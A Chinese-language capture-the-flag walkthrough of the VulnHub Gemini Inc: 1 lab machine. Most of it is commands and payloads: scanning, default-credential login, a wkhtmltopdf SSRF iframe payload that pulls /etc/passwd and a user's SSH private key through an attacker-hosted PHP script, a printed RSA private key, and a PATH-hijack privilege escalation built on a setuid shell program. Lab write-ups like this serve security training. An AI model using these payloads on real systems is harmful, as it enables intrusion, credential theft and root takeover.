一、靶机介绍

https://download.vulnhub.com/geminiinc/Gemini-Pentest-v1.zip

攻击方法:

  • 主机发现
  • 端口扫描
  • 信息搜集
  • 开源代码泄露
  • XSS漏洞
  • SSRF漏洞
  • LFI漏洞
  • 服务端组件漏洞
  • SSH公钥认证
  • SUID权限漏洞
  • 本地提权

二、主机发现

arp-scan -l

kali ip为:192.168.43.150

靶机ip为:192.168.43.150

image-20240907114125831

三、主机发现

nmap -p- 192.168.43.150
nmap -p22,80 -sV -sC 192.168.43.150

靶机22和80端口开放

image-20240907120059251

四、开源代码泄露

访问web页面,提示信息,可以导出为pdf,有登录地方,有开源项目网址

image-20240907114243377

审核github上项目源码,发现默认的账号和密码

image-20240907120635881

user:admin

password:1234

登录成功

image-20240907132152414

五、xss漏洞

在修改界面发现存在xss漏洞

image-20240907132259667

image-20240907132530873

访问admin页面

发现xss反弹成功

image-20240907132605873

六、wkhtmltopdf存在SSRF

在网上搜索wkhtmltopdf搜索对应的版本

image-20240907133614672

发现存在ssrf漏洞

image-20240907133728199

漏洞利用的payload,

wkhtmltopdf SSRF | Exploit Notes (hdks.org)

现在kali中写个php,利用远程文件读取,读取靶机中的文件

image-20240907141808055

paylaod

/htmltopdf?item=<iframe src=http://192.168.43.130:8000/test.php?x=/etc/passwd width=1000px height=1000px></iframe>

192.168.43.130为kali的ip地址

执行后,将其导出为pdf才能触发漏洞,发现存在一个能够登录的用户

image-20240907141739176

七、SSH公钥认证

查看该用户是否存在登录密钥,发现存在密钥,读取私钥,保存下来

/htmltopdf?item=<iframe src=http://192.168.43.130:8090/test.php?x=/home/gemini1/.ssh/id_rsa width=1000px height=1000px></iframe>

注意保存下的格式

image-20240907142515173

-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAv8sYkCmUFupwQ8pXsm0XCAyxcR6m5y9GfRWmQmrvb9qJP3xs
6c11dX9Mi8OLBpKuB+Y08aTgWbEtUAkVEpRU+mk+wpSx54OTBMFX35x4snzz+X5u
Vl1rUn9Z4QE5SJpOvfV3Ddw9zlVA0MCJGi/RW4ODRYmPHesqNHaMGKqTnRmn3/4V
u7cl+KpPZmQJzASoffyBn1bxQomqTkb5AGhkAggsOPS0xv6P2g/mcmMUIRWaTH4Z
DqrpqxFtJbuWSszPhuw3LLqAYry0RlEH/Mdi2RxM3VZvqDRlsV0DO74qyBhBsq+p
oSbdwoXao8n7oO2ASHc05d2vtmmmGP31+4pjuQIDAQABAoIBAQCq+WuJQHeSwiWY
WS46kkNg2qfoNrIFD8Dfy0ful5OhfAiz/sC84HrgZr4fLg+mqWXZBuCVtiyF6IuD
eMU/Tdo/bUkUfyflQgbyy0UBw2RZgUihVpMYDKma3oqKKeQeE+k0MDmUsoyqfpeM
QMc3//67fQ6uE8Xwnu593FxhtNZoyaYgz8LTpYRsaoui9j7mrQ4Q19VOQ16u4XlZ
rVtRFjQqBmAKeASTaYpWKnsgoFudp6xyxWzS4uk6BlAom0teBwkcnzx9fNd2vCYR
MhK5KLTDvWUf3d+eUcoUy1h+yjPvdDmlC27vcvZ0GXVvyRks+sjbNMYWl+QvNIZn
1XxD1nkxAoGBAODe4NKq0r2Biq0V/97xx76oz5zX4drh1aE6X+osRqk4+4soLauI
xHaApYWYKlk4OBPMzWQC0a8mQOaL1LalYSEL8wKkkaAvfM604f3fo01rMKn9vNRC
1fAms6caNqJDPIMvOyYRe4PALNf6Yw0Hty0KowC46HHkmWEgw/pEhOZdAoGBANpY
AJEhiG27iqxdHdyHC2rVnA9o2t5yZ7qqBExF7zyUJkIbgiLLyliE5JYhdZjd+abl
aSdSvTKOqrxscnPmWVIxDyLDxemH7iZsEbhLkIsSKgMjCDhPBROivyQGfY17EHPu
968rdQsmJK8+X5aWxq08VzlKwArm+GeDs2hrCGUNAoGAc1G5SDA0XNz3CiaTDnk9
r0gRGGUZvU89aC5wi73jCttfHJEhQquj3QXCXM2ZQiHzmCvaVOShNcpPVCv3jSco
tXLUT9GnoNdZkQPwNWqf648B6NtoIA6aekrOrO5jgDks6jWphq9GgV1nYedVLpR7
WszupOsuwWGzSr0r48eJxD0CgYEAo23HTtpIocoEbCtulIhIVXj5zNbxLBt55NAp
U2XtQeyqDkVEzQK4vDUMXAtDWF6d5PxGDvbxQoxi45JQwMukA89QwvbChqAF86Bk
SwvUbyPzalGob21GIYJpi2+IPoPktsIhhm4Ct4ufXcRUDAVjRHur1ehLgl2LhP+h
JAEpUWkCgYEAj2kz6b+FeK+xK+FUuDbd88vjU6FB8+FL7mQFQ2Ae9IWNyuTQSpGh
vXAtW/c+eaiO4gHRz60wW+FvItFa7kZAmylCAugK1m8/Ff5VZ0rHDP2YsUHT4+Bt
j8XYDMgMA8VYk6alU2rEEzqZlru7BZiwUnz7QLzauGwg8ohv1H2NP9k=
-----END RSA PRIVATE KEY-----

在kali中保存靶机的私钥

vim id_rsa			
chmod 600 id_rsa # 更改权限
ssh-keygen -l -f id_rsa # 查看密钥格式是否正确
ssh -i id_rsa gemini1@192.168.43.150 # 使用密钥登录

image-20240907150449012

八、Linux环境变量提权

sudo需要使用密码,放弃这个方式了

查看内核版本为4.9

uname -a 
searchsploit linux 4.9.0

image-20240907150937246

查找存在异常权限的文件

find / -user root -type f -perm -u+sx -ls 2>/dev/null

搜索文件系统中所有所有属于 root 用户,且有 SUID 或 SGID 标志的普通文件,并将其列表输出。

find:命令名称。

/:要搜索的根目录路径,表示从根目录开始搜索。

-user root:指定搜索条件为查找属于 root 用户的文件。

-type f:限制搜索结果为普通文件。

-perm -u+sx:指定搜索条件为查找权限设置了 SUID 或 SGID 标志的文件(即设置了 u+s 或 g+s)。

-ls:输出详细的文件信息列表,包括权限、大小、最后修改时间等。

2>/dev/null:将错误输出重定向到 /dev/null 设备,以避免输出一些不必要的错误信息。

发现listinfo这个系统默认的好像没有这个命令

image-20240907151139233

查看文件类型是一个执行文件

file /usr/bin/listinfo
listinfo

image-20240907151312661

使用stings命令查看这个程序中一些可打印的字符串

strings /usr/bin/listinfowgh

image-20240907151512423

把date文件更改为提权,重写一个date程序,由于我在靶机中直接使用vi命令编辑的时候,格式太难受了,所以这里起了一个python web程序,从kali中写好穿到了靶机中

date.c

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
}
python3 -m http.server 9999

image-20240907155141655

wget http://192.168.43.130:9999/date.c  # 将date.c传输到靶机中
gcc date.c -o date # 编译为程序
echo $PATH # 查看一下环境变量
which date # 查看程序中执行date的路径
export PATH=/home/gemini1:$PATH # 将自己编写的date程序路径,添加到环境变量的头部,也就在程序执行时,先执行这个date,然后才执行那个默认的date
echo $PATH # 查看环境变量执行顺序,是否更改成功

image-20240907155322332

listinfo  # 执行程序
cat /root/flag.txt

提权成功

参考文章:[VulnHub-Gemini Inc: 1 - HKalpa - 博客园 (cnblogs.com)](https://www.cnblogs.com/HKalpa/p/17447207.html#0x07 Linux环境变量提权)